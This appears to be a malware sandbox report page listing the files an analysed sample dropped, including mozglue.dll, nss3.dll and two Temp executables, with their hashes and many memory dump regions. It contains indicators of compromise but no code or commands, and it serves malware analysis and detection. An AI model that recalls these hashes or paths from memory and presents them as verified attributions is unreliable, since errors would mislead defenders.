      Loading Replay Monitor...

      Downloads

      • C:\ProgramData\Are.docx

        Filesize

        11KB

        MD5

        a33e5b189842c5867f46566bdbf7a095

        SHA1

        e1c06359f6a76da90d19e8fd95e79c832edb3196

        SHA256

        5abf8e3d1f78de7b09d7f6fb87f9e80e60caacf13ef3c1289665653dacd7c454

        SHA512

        f2ad3812ec9b915e9618539b0f103f2e9acaad25fbbacd84941c954ce070af231324e83a4621e951c1dbae8d40d50410954e40dd52bbd46e34c54b0d1957407b

      • C:\ProgramData\mozglue.dll

        Filesize

        593KB

        MD5

        c8fd9be83bc728cc04beffafc2907fe9

        SHA1

        95ab9f701e0024cedfbd312bcfe4e726744c4f2e

        SHA256

        ba06a6ee0b15f5be5c4e67782eec8b521e36c107a329093ec400fe0404eb196a

        SHA512

        fbb446f4a27ef510e616caad52945d6c9cc1fd063812c41947e579ec2b54df57c6dc46237ded80fca5847f38cbe1747a6c66a13e2c8c19c664a72be35eb8b040

      • C:\ProgramData\nss3.dll

        Filesize

        2.0MB

        MD5

        1cc453cdf74f31e4d913ff9c10acdde2

        SHA1

        6e85eae544d6e965f15fa5c39700fa7202f3aafe

        SHA256

        ac5c92fe6c51cfa742e475215b83b3e11a4379820043263bf50d4068686c6fa5

        SHA512

        dd9ff4e06b00dc831439bab11c10e9b2ae864ea6e780d3835ea7468818f35439f352ef137da111efcdf2bb6465f6ca486719451bf6cf32c6a4420a56b1d64571

      • C:\Users\Admin\AppData\Local\Temp\u16w.0.exe

        Filesize

        218KB

        MD5

        fd33bde2848f014404593721df5f5277

        SHA1

        43ad6aedd03dd15b6c74d316ec28f7b55966324c

        SHA256

        c96d9708a65e1d992b55ac78f90d2db7852fef98b21eaff2e7ba37993ca4dfad

        SHA512

        b702235aaab753601e63a4b6662943b1f0af067fb3a96ff400bf680241416dca9f3f8438de3683b116660db325acfe018b27f69a23a84dc07f814518d1ce9f0e

      • C:\Users\Admin\AppData\Local\Temp\u16w.1.exe

        Filesize

        4.6MB

        MD5

        397926927bca55be4a77839b1c44de6e

        SHA1

        e10f3434ef3021c399dbba047832f02b3c898dbd

        SHA256

        4f07e1095cc915b2d46eb149d1c3be14f3f4b4bd2742517265947fd23bdca5a7

        SHA512

        cf54136b977fc8af7e8746d78676d0d464362a8cfa2213e392487003b5034562ee802e6911760b98a847bddd36ad664f32d849af84d7e208d4648bd97a2fa954

      • memory/772-64-0x0000000000400000-0x00000000008AD000-memory.dmp

        Filesize

        4.7MB

      • memory/772-63-0x0000000000400000-0x00000000008AD000-memory.dmp

        Filesize

        4.7MB

      • memory/1544-36-0x0000000000400000-0x000000000046F000-memory.dmp

        Filesize

        444KB

      • memory/1544-35-0x0000000000400000-0x0000000002B1D000-memory.dmp

        Filesize

        39.1MB

      • memory/1544-1-0x0000000002DC0000-0x0000000002EC0000-memory.dmp

        Filesize

        1024KB

      • memory/1544-16-0x0000000000400000-0x0000000002B1D000-memory.dmp

        Filesize

        39.1MB

      • memory/1544-2-0x0000000004880000-0x00000000048EC000-memory.dmp

        Filesize

        432KB

      • memory/1544-3-0x0000000000400000-0x000000000046F000-memory.dmp

        Filesize

        444KB

      • memory/3500-88-0x000001C3B4390000-0x000001C3B43F2000-memory.dmp

        Filesize

        392KB

      • memory/3500-89-0x000001C3B43F0000-0x000001C3B4412000-memory.dmp

        Filesize

        136KB

      • memory/3500-70-0x000001C3AF430000-0x000001C3AF444000-memory.dmp

        Filesize

        80KB

      • memory/3500-71-0x000001C3AF5C0000-0x000001C3AF5E4000-memory.dmp

        Filesize

        144KB

      • memory/3500-72-0x000001C3AF740000-0x000001C3AF74A000-memory.dmp

        Filesize

        40KB

      • memory/3500-73-0x000001C3AF760000-0x000001C3AF78A000-memory.dmp

        Filesize

        168KB

      • memory/3500-74-0x000001C3AF7A0000-0x000001C3AF852000-memory.dmp

        Filesize

        712KB

      • memory/3500-75-0x000001C3AF8A0000-0x000001C3AF8F0000-memory.dmp

        Filesize

        320KB

      • memory/3500-76-0x000001C3AF8F0000-0x000001C3AF912000-memory.dmp

        Filesize

        136KB

      • memory/3500-77-0x000001C3AF3D0000-0x000001C3AF3DA000-memory.dmp

        Filesize

        40KB

      • memory/3500-81-0x000001C3AF920000-0x000001C3AFC20000-memory.dmp

        Filesize

        3.0MB

      • memory/3500-83-0x000001C3B4360000-0x000001C3B4368000-memory.dmp

        Filesize

        32KB

      • memory/3500-84-0x000001C3B3CA0000-0x000001C3B3CD8000-memory.dmp

        Filesize

        224KB

      • memory/3500-85-0x000001C3B3C70000-0x000001C3B3C7E000-memory.dmp

        Filesize

        56KB

      • memory/3500-86-0x000001C3B3C90000-0x000001C3B3C98000-memory.dmp

        Filesize

        32KB

      • memory/3500-69-0x000001C3AF440000-0x000001C3AF44C000-memory.dmp

        Filesize

        48KB

      • memory/3500-87-0x000001C3B4610000-0x000001C3B461A000-memory.dmp

        Filesize

        40KB

      • memory/3500-68-0x000001C396BF0000-0x000001C396C00000-memory.dmp

        Filesize

        64KB

      • memory/3500-90-0x000001C3B4B50000-0x000001C3B5078000-memory.dmp

        Filesize

        5.2MB

      • memory/3500-93-0x000001C3B4410000-0x000001C3B441C000-memory.dmp

        Filesize

        48KB

      • memory/3500-94-0x000001C3B44F0000-0x000001C3B4566000-memory.dmp

        Filesize

        472KB

      • memory/3500-66-0x000001C391510000-0x000001C394D44000-memory.dmp

        Filesize

        56.2MB

      • memory/3500-96-0x000001C3B4450000-0x000001C3B446E000-memory.dmp

        Filesize

        120KB

      • memory/3500-67-0x000001C3AF4B0000-0x000001C3AF5BA000-memory.dmp

        Filesize

        1.0MB

      • memory/4864-142-0x0000000000400000-0x0000000002AF3000-memory.dmp

        Filesize

        38.9MB

      • memory/4864-100-0x0000000061E00000-0x0000000061EF3000-memory.dmp

        Filesize

        972KB

      • memory/4864-95-0x0000000000400000-0x0000000002AF3000-memory.dmp

        Filesize

        38.9MB

      • memory/4864-65-0x0000000000400000-0x0000000002AF3000-memory.dmp

        Filesize

        38.9MB

      • memory/4864-172-0x0000000000400000-0x0000000002AF3000-memory.dmp

        Filesize

        38.9MB

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